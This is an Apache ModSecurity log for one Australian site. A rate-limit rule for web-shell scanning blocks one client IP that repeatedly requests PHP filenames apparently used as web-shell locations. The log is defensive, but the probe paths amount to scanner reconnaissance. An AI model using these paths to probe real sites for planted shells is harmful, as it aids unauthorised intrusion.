[Sat Apr 11 02:21:07.515546 2026] [:error] [pid 21706:tid 21728] [client 51.107.88.105:28768] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/upll22.php"] [unique_id "adk_kyGQ1M5d8fQSsLG9TAAAABQ"]
[Sat Apr 11 02:21:08.670639 2026] [:error] [pid 21706:tid 21730] [client 51.107.88.105:52007] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/upll22.php"] [unique_id "adk_lCGQ1M5d8fQSsLG9WAAAABY"]
[Sat Apr 11 02:21:10.479053 2026] [:error] [pid 55451:tid 55460] [client 51.107.88.105:28789] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/upll22.php"] [unique_id "adk_lnApxuyB7yCS5RkexQAAAMc"]
[Sat Apr 11 02:21:11.145453 2026] [:error] [pid 21568:tid 21594] [client 51.107.88.105:61695] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/upll22.php"] [unique_id "adk_l4iz5v_ljZxkpR_ZaQAAARY"]
[Sat Apr 11 02:21:12.399917 2026] [:error] [pid 21568:tid 21588] [client 51.107.88.105:62094] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/100.php"] [unique_id "adk_mIiz5v_ljZxkpR_ZawAAARA"]
[Sat Apr 11 02:21:13.188743 2026] [:error] [pid 21569:tid 21649] [client 51.107.88.105:37446] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/100.php"] [unique_id "adk_mXAvQTgvXJ6vHoqlyAAAAIQ"]
[Sat Apr 11 02:21:13.747061 2026] [:error] [pid 21570:tid 21668] [client 51.107.88.105:45991] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/100.php"] [unique_id "adk_mTKs5t9xRSNL6cnTzwAAAEM"]
[Sat Apr 11 02:21:14.661173 2026] [:error] [pid 21706:tid 21716] [client 51.107.88.105:40719] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/100.php"] [unique_id "adk_miGQ1M5d8fQSsLG9fgAAAAg"]
[Sat Apr 11 02:21:15.535351 2026] [:error] [pid 55451:tid 55462] [client 51.107.88.105:32263] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byrgo.php"] [unique_id "adk_m3ApxuyB7yCS5Rke0AAAAMk"]
[Sat Apr 11 02:21:16.930271 2026] [:error] [pid 21570:tid 21692] [client 51.107.88.105:62084] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byrgo.php"] [unique_id "adk_nDKs5t9xRSNL6cnT0wAAAFI"]
[Sat Apr 11 02:21:17.537172 2026] [:error] [pid 21706:tid 21729] [client 51.107.88.105:28764] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byrgo.php"] [unique_id "adk_nSGQ1M5d8fQSsLG9gwAAABU"]
[Sat Apr 11 02:21:18.140004 2026] [:error] [pid 21706:tid 21713] [client 51.107.88.105:45986] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byrgo.php"] [unique_id "adk_niGQ1M5d8fQSsLG9hAAAAAU"]
[Sat Apr 11 02:21:18.633827 2026] [:error] [pid 21706:tid 21730] [client 51.107.88.105:55900] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc-243.php"] [unique_id "adk_niGQ1M5d8fQSsLG9iAAAABY"]
[Sat Apr 11 02:21:19.299542 2026] [:error] [pid 21570:tid 21697] [client 51.107.88.105:56536] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc-243.php"] [unique_id "adk_nzKs5t9xRSNL6cnT2QAAAFc"]
[Sat Apr 11 02:21:20.075850 2026] [:error] [pid 21569:tid 21649] [client 51.107.88.105:45397] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc-243.php"] [unique_id "adk_oHAvQTgvXJ6vHoql2AAAAIQ"]
[Sat Apr 11 02:21:21.346392 2026] [:error] [pid 21706:tid 21717] [client 51.107.88.105:37443] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc-243.php"] [unique_id "adk_oSGQ1M5d8fQSsLG9nAAAAAk"]
[Sat Apr 11 02:21:22.232865 2026] [:error] [pid 55451:tid 55474] [client 51.107.88.105:40487] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pm90apbv3v5fvgkbguyiCdefault.php"] [unique_id "adk_onApxuyB7yCS5Rke3AAAANU"]
[Sat Apr 11 02:21:23.671141 2026] [:error] [pid 21706:tid 21728] [client 51.107.88.105:45384] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pm90apbv3v5fvgkbguyiCdefault.php"] [unique_id "adk_oyGQ1M5d8fQSsLG9pgAAABQ"]
[Sat Apr 11 02:21:24.370492 2026] [:error] [pid 21570:tid 21697] [client 51.107.88.105:48534] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pm90apbv3v5fvgkbguyiCdefault.php"] [unique_id "adk_pDKs5t9xRSNL6cnT7QAAAFc"]
[Sat Apr 11 02:21:25.118042 2026] [:error] [pid 21568:tid 21582] [client 51.107.88.105:40730] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pm90apbv3v5fvgkbguyiCdefault.php"] [unique_id "adk_pYiz5v_ljZxkpR_ZegAAAQo"]
[Sat Apr 11 02:21:25.708885 2026] [:error] [pid 21568:tid 21573] [client 51.107.88.105:28740] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "adk_pYiz5v_ljZxkpR_ZfwAAAQE"]
[Sat Apr 11 02:21:26.581495 2026] [:error] [pid 21570:tid 21673] [client 51.107.88.105:40526] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "adk_pjKs5t9xRSNL6cnT-QAAAEY"]
[Sat Apr 11 02:21:27.425104 2026] [:error] [pid 21706:tid 21709] [client 51.107.88.105:56557] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "adk_pyGQ1M5d8fQSsLG9qwAAAAE"]
[Sat Apr 11 02:21:28.227567 2026] [:error] [pid 21706:tid 21721] [client 51.107.88.105:45398] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "adk_qCGQ1M5d8fQSsLG9sgAAAA0"]
[Sat Apr 11 02:21:29.064565 2026] [:error] [pid 55451:tid 55454] [client 51.107.88.105:56570] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/CDX1.php"] [unique_id "adk_qXApxuyB7yCS5Rke6gAAAME"]
[Sat Apr 11 02:21:30.279884 2026] [:error] [pid 21569:tid 21676] [client 51.107.88.105:28755] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/CDX1.php"] [unique_id "adk_qnAvQTgvXJ6vHoql6wAAAJU"]
[Sat Apr 11 02:21:30.819221 2026] [:error] [pid 55451:tid 55469] [client 51.107.88.105:51439] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/CDX1.php"] [unique_id "adk_qnApxuyB7yCS5Rke8wAAANA"]
[Sat Apr 11 02:21:31.470820 2026] [:error] [pid 55451:tid 55465] [client 51.107.88.105:52022] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/CDX1.php"] [unique_id "adk_q3ApxuyB7yCS5Rke9QAAAMw"]
[Sat Apr 11 02:21:32.320919 2026] [:error] [pid 21570:tid 21663] [client 51.107.88.105:45376] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "adk_rDKs5t9xRSNL6cnUCAAAAEE"]
[Sat Apr 11 02:21:33.127132 2026] [:error] [pid 55451:tid 55456] [client 51.107.88.105:28749] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "adk_rXApxuyB7yCS5Rke-gAAAMM"]
[Sat Apr 11 02:21:33.811861 2026] [:error] [pid 21570:tid 21668] [client 51.107.88.105:48567] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "adk_rTKs5t9xRSNL6cnUDAAAAEM"]
[Sat Apr 11 02:21:34.716046 2026] [:error] [pid 21706:tid 21717] [client 51.107.88.105:45989] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "adk_riGQ1M5d8fQSsLG9ygAAAAk"]
[Sat Apr 11 02:21:35.263387 2026] [:error] [pid 55451:tid 55459] [client 51.107.88.105:55891] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "adk_r3ApxuyB7yCS5Rke_gAAAMY"]
[Sat Apr 11 02:21:35.845044 2026] [:error] [pid 21569:tid 21662] [client 51.107.88.105:28782] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "adk_r3AvQTgvXJ6vHoqmAQAAAI8"]
[Sat Apr 11 02:21:36.373360 2026] [:error] [pid 21569:tid 21645] [client 51.107.88.105:40494] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "adk_sHAvQTgvXJ6vHoqmBQAAAIA"]
[Sat Apr 11 02:21:37.158445 2026] [:error] [pid 21568:tid 21595] [client 51.107.88.105:32270] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "adk_sYiz5v_ljZxkpR_ZigAAARc"]
[Sat Apr 11 02:21:37.917349 2026] [:error] [pid 21568:tid 21584] [client 51.107.88.105:40539] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aligk.php"] [unique_id "adk_sYiz5v_ljZxkpR_ZjQAAAQw"]
[Sat Apr 11 02:21:38.850458 2026] [:error] [pid 55451:tid 55456] [client 51.107.88.105:55930] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aligk.php"] [unique_id "adk_snApxuyB7yCS5RkfBQAAAMM"]
[Sat Apr 11 02:21:39.676559 2026] [:error] [pid 21706:tid 21727] [client 51.107.88.105:51450] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aligk.php"] [unique_id "adk_syGQ1M5d8fQSsLG90wAAABM"]
[Sat Apr 11 02:21:40.772059 2026] [:error] [pid 21706:tid 21722] [client 51.107.88.105:62080] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aligk.php"] [unique_id "adk_tCGQ1M5d8fQSsLG92wAAAA4"]
[Sat Apr 11 02:21:41.519403 2026] [:error] [pid 21568:tid 21579] [client 51.107.88.105:40504] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file61.php"] [unique_id "adk_tYiz5v_ljZxkpR_ZlwAAAQc"]
[Sat Apr 11 02:21:42.338842 2026] [:error] [pid 21706:tid 21711] [client 51.107.88.105:51443] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file61.php"] [unique_id "adk_tiGQ1M5d8fQSsLG94wAAAAM"]
[Sat Apr 11 02:21:43.411483 2026] [:error] [pid 21706:tid 21714] [client 51.107.88.105:45990] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file61.php"] [unique_id "adk_tyGQ1M5d8fQSsLG98AAAAAY"]
[Sat Apr 11 02:21:44.533940 2026] [:error] [pid 55451:tid 55463] [client 51.107.88.105:56533] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file61.php"] [unique_id "adk_uHApxuyB7yCS5RkfFgAAAMo"]
[Sat Apr 11 02:21:45.521239 2026] [:error] [pid 21706:tid 21724] [client 51.107.88.105:61655] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "adk_uSGQ1M5d8fQSsLG9_wAAABA"]
[Sat Apr 11 02:21:46.406021 2026] [:error] [pid 21570:tid 21687] [client 51.107.88.105:56573] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "adk_ujKs5t9xRSNL6cnUIQAAAE0"]
[Sat Apr 11 02:21:47.284153 2026] [:error] [pid 21570:tid 21668] [client 51.107.88.105:56550] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "adk_uzKs5t9xRSNL6cnUJAAAAEM"]
[Sat Apr 11 02:21:49.969780 2026] [:error] [pid 55451:tid 55459] [client 51.107.88.105:40484] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "adk_vXApxuyB7yCS5RkfIwAAAMY"]
[Sat Apr 11 02:21:50.702602 2026] [:error] [pid 21706:tid 21724] [client 51.107.88.105:40461] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx79.php"] [unique_id "adk_viGQ1M5d8fQSsLG-FAAAABA"]
[Sat Apr 11 02:21:51.671339 2026] [:error] [pid 21706:tid 21730] [client 51.107.88.105:62101] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx79.php"] [unique_id "adk_vyGQ1M5d8fQSsLG-IAAAABY"]
[Sat Apr 11 02:22:23.769057 2026] [:error] [pid 55451:tid 55460] [client 51.107.88.105:46004] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adk_33ApxuyB7yCS5RkfeAAAAMc"]
[Sat Apr 11 02:22:42.022793 2026] [:error] [pid 21569:tid 21678] [client 51.107.88.105:40481] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adk_8nAvQTgvXJ6vHoqmegAAAJY"]
[Sat Apr 11 02:23:03.459394 2026] [:error] [pid 21568:tid 21573] [client 51.107.88.105:61691] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "adlAB4iz5v_ljZxkpR_aqQAAAQE"]
[Sat Apr 11 02:23:36.862568 2026] [:error] [pid 21706:tid 21727] [client 51.107.88.105:56548] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Ov-Simple1.php"] [unique_id "adlAKCGQ1M5d8fQSsLHABQAAABM"]
[Sat Apr 11 02:23:37.796357 2026] [:error] [pid 21568:tid 21581] [client 51.107.88.105:28753] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Ov-Simple1.php"] [unique_id "adlAKYiz5v_ljZxkpR_a7wAAAQk"]
